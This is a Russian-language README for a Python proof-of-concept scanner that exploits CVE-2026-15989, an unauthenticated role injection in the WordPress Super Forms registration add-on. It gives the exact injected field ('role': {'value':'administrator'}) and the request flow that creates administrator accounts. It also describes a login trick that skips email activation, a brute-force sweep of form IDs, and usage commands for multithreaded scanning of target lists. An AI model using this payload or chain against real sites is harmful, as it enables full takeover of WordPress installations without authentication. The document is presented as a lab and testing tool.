
Python PoC-сканер для CVE-2026-15989, эксплуатирующий неаутентифицированную инъекцию ролей в WordPress Super Forms для создания учётных записей администратора и проверки доступа.
█████╗ ███╗ ██╗ ████████╗ ██╗ ██████╗ ██████╗ ██████╗ ████████╗
██╔══██╗ ████╗ ██║ ╚══██╔══╝ ██║ ██╔══██╗ ██╔═████╗ ██╔═████╗ ╚══██╔══╝
███████║ ██╔██╗ ██║ ██║ ██║ ██║ ██║ ██║██╔██║ ██║██╔██║ ██║
██╔══██║ ██║╚██╗██║ ██║ ██║ ██║ ██║ ████╔╝██║ ████╔╝██║ ██║
██║ ██║ ██║ ╚████║ ██║ ██║ ██████╔╝ ╚██████╔╝ ╚██████╔╝ ██║
╚═╝ ╚═╝ ╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚═╝
» E X P L O I T S «
🔥 Автообнаружение без фингерпринтинга · Payload-ы с учётом валидации · Ноль аутентификации · Честная классификация
| WordPress-плагин | Super Forms – Drag & Drop Form Builder (аддон Register & Login) |
| Уязвимая версия | <= 6.3.316 |
| Исправленная версия | 6.3.317 |
| Аутентификация | ❌ Не требуется — достаточно любой опубликованной формы регистрации |
| CVSS | 9.8 CRITICAL |
role → создание администратораGET admin-ajax.php?action=super_create_nonce ──► _sfs_id session + sf_nonce
│
POST admin-ajax.php action=super_submit_form data=<JSON>
│
before_email_success_msg() (Register & Login add-on)
│
$other_userdata = array( ..., 'role', ... ) ◄── client key whitelisted
│
$data['role']['value'] ──► $userdata['role'] (register_user_role overwritten)
│
wp_insert_user() ──► 🔥 administrator account, zero authentication
Аддон копирует
$data['role']['value']напрямую в массив данных пользователя, не проверяя его на соответствие настроенному администраторомregister_user_role, без allow-list и без какой-либо проверки прав — достаточно одного внедрённого поля"role": {"value":"administrator"}.
POST wp-login.php log / pwd / testcookie
│ + action=super_submit_form ◄── the magic field
│
check_user_login_status() ──► pending/blocked gate SKIPPED
│
GET /wp-admin/users.php
│
200 = administrator proven · 403 = subscriber (patched build)
Аддон применяет свой шлюз активации по email / модерации только тогда, когда POST-действие НЕ равно
super_submit_form— поэтому то же действие формы, которое регистрирует пользователя, также открывает возможность входа под ним, ещё до какой-либо проверки email.
discovery empty (REST · sitemap · links · ?page_id probe)
│
PHASE 1 — form-ID sweep 1..50, minimal payload, OWN SESSION PER ID
│ (shared sessions would invalidate each nonce)
│
'required fields' reject ──► PHASE 2 — REST markup fetch ──► full payload retry
│
every accepted candidate ──► login proof per id
│
contact form? ──► UNVERIFIED (never a false positive)
registration? ──► 👑 verified administrator
Формы, не являющиеся регистрационными, также отвечают
error:false, поэтому каждый принятый id — лишь кандидат, пока учётные данные не подтверждены реальным входом.
# zero dependencies — pure Python 3 stdlib (rich is optional, for the console)
python3 cve-2026-15989_poc.py --list labs.txt --output results.txt
# tuned concurrency / timeout
python3 cve-2026-15989_poc.py --list labs.txt --threads 20 --timeout 15 -o results.txt
# FULL MODE: discovery + role injection + login proof + form-ID brute (1..50)
python3 cve-2026-15989_poc.py --list labs.txt --full --output results.txt
labs.txt — по одному базовому URL на строку:
http://localhost
http://192.168.56.101/lab-wp
https://10.0.0.5:8443/lab # self-signed TLS is handled automatically
# comments and blank lines are ignored
| Опция | Описание |
|---|---|
--list FILE | файл целей — по одному URL на строку (обязательно) |
--output, -o FILE | список попаданий — записываются в реальном времени только УЯЗВИМЫЕ цели (без ANSI) |
--threads N | количество параллельных воркеров на цели (по умолчанию 10) |
--timeout N | таймаут сокета на запрос в секундах (по умолчанию 10) |
--full | запустить ВСЮ цепочку — добавляет fallback с брутом form-ID (на уязвимых целях учётные записи БУДУТ созданы) |
| Состояние | Значение |
|---|---|
VULNERABLE | учётная запись создана и доказан доступ администратора к wp-admin (200) |
NOT-VULNERABLE | вход успешен, но страницы админки отдают 403 — роль проигнорирована → исправленная сборка |
UNVERIFIED | отправка принята, но вход отклонён (заблокированная/ожидающая учётная запись или нерегистрационная форма) — никогда не сообщается как молчаливый ложноположительный результат |
BLOCKED | отправка отклонена (reCAPTCHA, CSRF, обязательные поля, honeypot…) |
ERROR | цель недоступна / сбой DNS — сообщается с точной причиной |